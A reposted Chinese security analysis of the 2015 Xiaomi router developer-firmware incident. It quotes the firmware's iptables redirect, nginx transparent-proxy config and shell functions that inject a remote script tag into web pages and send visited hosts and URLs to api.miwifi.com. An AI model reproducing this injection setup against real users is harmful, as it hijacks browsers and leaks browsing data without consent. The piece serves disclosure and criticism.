小米路由器劫持用户浏览器事件始末

声明:为了更好地向读者输出更优质的内容,InfoQ将精选来自国内外的优秀文章,经过整理审校后,发布到网站。本篇文章作者为乌云白帽子lxj616,原文链接。本文已由乌云网授权InfoQ中文站转载。欢迎转发,但请保留原作者信息!

0x00 概述

小米路由器开发版固件被用户发现(并非稳定版固件,不会影响大多数用户,如果你不明白这是什么意思,它不会影响到你)使用黑客技术劫持用户浏览器向用户投送广告。该技术在黑客界广泛用于偷取用户密码甚至可能控制用户电脑和手机。目前小米官方已经作出回应,称该事件为“借机炒作恶意煽动”,并解释“所谓的广告”是友好的新功能提示。目前小米官方已经做出相应调整,该功能已经暂时失效。
此处输入图片的描述
2015年6月初,有用户举报说最新开发版(2.3.31)的小米路由器固件劫持了用户浏览器,在用户完全不知情的情况下向浏览器发送广告代码并执行。本文以官方提供下载的2.3.5版本进行代码分析,论证其功能的技术实现以及可能的影响,并对照小米官方微博的声明进行技术核对和解释。

0x01 用户举报

在V2EX上由用户反映在通过小米路由器浏览网页时,网页被注入了JS代码,而这段代码目前还只是被用来显示广告。《小米路由器先劫持http错误码,现在又在部分网站添加小尾巴,什么节奏?》这意味着你在完全不知情的前提下,你看到的所有内容其实都受小米路由器的控制,这段代码可以被用来显示广告,也可以偷取你的密码,可以随便修改任何网页的内容来欺骗你,甚至如果你的浏览器有漏洞的话,小米路由器还可能会控制你的电脑或手机。

0x02原理分析&代码分析

在代码分析之前概述一下。简单地说,你通过一个路由器来上网,你把数据先交给路由器,然后路由器才把数据通过网线送出你家。而小米路由器对你交给它的数据做了手脚——不仅看了,还修改了。以下代码来自官方网站提供下载的2.3.5版本,使用binwalk解压固件fs,再分析得到的代码。
http://bigota.miwifi.com/xiaoqiang/rom/r1cm/miwifi_r1cm_firmware_7054f_2.3.5.bin
下面为/lib/firewall/rr.loader第20行:

iptables -t nat -A "$1" -m set --match-set "rr_tb" dst -p tcp -j REDIRECT --to-ports 8380

在转发用户数据包之前把所有rr_tb列表里面目的为80端口的tcp数据包重定向至8380端口,这个是dnsmasq+ipset从小米服务器上获取的域名IP。

下面为/etc/sysapihttpd/sysapihttpd.conf第384行:

miwifi_toolbar_config miwifi_toolbar_zone 500K "RR_PATH_STUB";
server {
    listen 8380;
    resolver localhost;
    location / {
        set $device_id "DEV_ID_STUB";
        set $rom_version "ROM_VERSION_STUB";
        set $hardware "DEV_MODEL_STUB";
        set $channel "CHANNEL_STUB";
        include "/tmp/rr/footer";
        miwifi_toolbar miwifi_toolbar_zone;
        proxy_pass $scheme://$host$request_uri;
        proxy_ignore_client_abort off;
        proxy_connect_timeout 30s;
        proxy_read_timeout 30s;
        proxy_send_timeout 30s;
        proxy_buffering off;
        proxy_set_header Accept-Encoding '';
        proxy_max_temp_file_size 0;
        proxy_set_header Host $http_host;
    }
}

其实sysapihttpd就是nginx,监听8380端口,做了一个反向代理(用在本地相当于透明代理),插入了/tmp/rr/footer代码(RR_PATH_STUB),至于什么是反向代理,请参考乌云知识库之前的文章《钓鱼?这是反代理!》,那么,这个/tmp/rr/footer是哪里来的呢?

下面为/usr/bin/pull-req-rule第22行:

create_url() {
    local ts=${1:-0}
    local device_id=$(matool --method deviceID)
    local rom=$(uci -q -c /usr/share/xiaoqiang get xiaoqiang_version.version.ROM)
    local hardware=$(uci -q -c /usr/share/xiaoqiang get xiaoqiang_version.version.HARDWARE)
    local channel=$(uci -q -c /usr/share/xiaoqiang get xiaoqiang_version.version.CHANNEL)
    local url="http://api.miwifi.com/rr/config"
    echo $url'?'ts=$ts'&'device_id=$device_id'&'rom=$rom'&'hardware=$hardware'&'channel=$channel
}

extract_footer() {
    local footer_file="$rr_prefix/footer"
    local footer=$(cat $content_file | grep '^footer' | cut -d$'\t' -f 2)
    echo "miwifi_toolbar_template \"$footer\";" > $footer_file
}

第一个函数是配置文件的地址,第二个函数是将配置文件中的广告代码放进上文所说的文件中之后我们根据url的生成规则去看一眼这个config文件:
http://api.miwifi.com/rr/config?ts=1&device_id=0&rom=2.3.31&hardware=miwifi&channel=0

ts  1
footer  <script src=\"http://api.miwifi.com/toolbar?device_id=${device_id}&host=${host}&uri=${uri}&rom=${rom_version}&hardware=${hardware}&channel=${channel}\"></script></body></html>
exclude_suffix  .css|.js|.jpeg|.png|.gif|.ico
rule_count  0   0

我们可以清晰的看到,这段代码是加载了一个来自api.miwifi.com的JS代码文件,换句话说,这个文件里的代码你会无条件的直接执行,无论它是偷密码的,还是发广告的。 而规则已经被小米官方清空,这也意味着不再向任何域名投放广告,但是这仅仅意味着小米服务器指示你的路由器不再JS注入,小米可以任意时间通过修改这个api.miwifi.com上的控制文件来重新指示你的路由器做JS注入,而你到时候完全不会知道发生了什么。

在小米作出相应调整之前,有网友记录的config文件内容为(原地址http://pastebin.com/4t7eKNsA):

ts      1434688147041
footer  <script src=\"http://api.miwifi.com/toolbar?device_id=${device_id}&host=${host}&uri=${uri}&rom=${rom_version}&hardware=${hardware}&c
hannel=${channel}\"></script></body></html>
exclude_suffix  .css|.js|.jpeg|.png|.gif|.ico
rule_count      845     845
rule    67a.cn  1       0
w_rule  /       *       l       t
rule    lizhidy.com     1       0
w_rule  /       *       l       t
rule    hacg.be 1       0
w_rule  /       *       l       t
…………………省略……………………

这里的rule是指投放JS代码的域名列表,只要在这个列表里,访问时就会注入JS。形象的比喻:小米具有定向打击的能力,它能在任意时间,任意域名下给你投放任意代码,小米官方称这只是友好的新功能提示,网上炒作都是恶意抹黑。显而易见的是“小米对这段代码有绝对的控制权,友好不友好都是受小米控制的,代码内容是广告还是木马到头来完全听从小米的,而你上网时必须听从这段代码的指挥”。
小米路由器劫持用户浏览器事件始末_第1张图片
该代码是一个动态代码,实时从小米官方服务器上获取指令执行,用户无法干预该指令的执行,并且无法得知该指令的存在。
小米路由器劫持用户浏览器事件始末_第2张图片
这就是所谓的广告代码,小米对该代码有绝对控制权,可以在任意时间投放任意代码给用户执行。

0x03 到底广告友好不友好

再看看上文小米路由器插入的广告代码,不看不要紧,一看吓一跳:

<script src=\"http://api.miwifi.com/toolbar?device_id=${device_id}&host=${host}&uri=${uri}&rom=${rom_version}&hardware=${hardware}&channel=${channel}\"></script>

host是你访问的网站,uri是你访问网站时浏览的页面(以及你提交的GET查询数据),该数据可能包含你的账号名称、身份标识。换句话说就是你在网页里输入的东西都有可能被发往小米官方服务器,你看到什么,小米官方就能看到什么。技术上讲,你在访问网页时被跟踪了,这段代码执行时不仅仅是显示广告,还把你浏览器地址栏里面的内容全都发送到了小米服务器上。
小米路由器劫持用户浏览器事件始末_第3张图片
从网友提供的图片可以看到,网友正在浏览的网页地址http://movie.douban.com/subject/25718082被小米路由器主动提交给了小米官方服务器(因为该网页并不包含特别机密信息,且网友已经公开本图片,请允许我在此公开该网页地址,请该网友见谅。)

0x04 总结

小米路由器劫持用户浏览器事件始末_第4张图片

  1. 小米官方称“开发版试水”情况属实,并不会影响到正常使用稳定版的用户。
  2. 小米官方称“已经作出相应调整”情况属实,临时取消JS注入域名清单(取消注入)。
  3. 网友所说的JS注入情况属实,并且并非静态JS,而是小米服务器上的动态JS。
  4. 网友所说的浏览器劫持情况属实,官方所说手机APP能够关闭404页面情况属实,但是这个功能默认是开着的,需要手动关闭。
  5. 小米官方称“炒作”情况属实,首先用户在反馈时忘记注明是开发版固件,因此使用的并不是普通用户的稳定版功能,而媒体并没有解释“开发版”的含义,盲目大力渲染“劫持、注入”的危害,给用户造成了片面印象,“小米对手动安装了开发版固件的无辜用户做了劫持和JS注入,但还没有在全国强推该计划”。
  6. 小米官方称“友好的新功能提示”不实,该代码将用户的浏览信息上传至小米服务器(具体来说,你看的每一个网页地址,某些情况下可能包含用户名、密码)。
  7. 404页面劫持会泄露用户浏览的网页地址情况属实,但是一般来说这不会泄露个人隐私。另外404也有开关了,因此不再讨论。

个人观点:小米路由器开发版设计的浏览器劫持、JS代码注入功能性质恶劣,严重侵犯了用户的隐私权,甚至将来有可能借此入侵用户的计算机与手机。并且所插入的JS代码确实将用户的隐私信息(浏览器访问网站的地址及部分用户输入的内容)窃取至小米服务器,已经可以定性为后门程序。然而开发版意味着该功能只是技术尝试,并未给普通用户造成实际影响,因此虽然性质恶劣但是目前影响并不大。我认为小米有意将木马程序推送给全国用户,暂时先在开发版里试一下水,如果不被发现就继续这么干下去了,现在被发现之后轻描淡写称开发版是逗你们玩儿的。笔者不禁想起之前大量discuz论坛被黑的事件,域名被劫持加上恶意代码,导致使用discuz论坛的站长在登录后台之后执行了恶意代码自己论坛被黑。

你可能感兴趣的:(小米路由器劫持用户浏览器事件始末)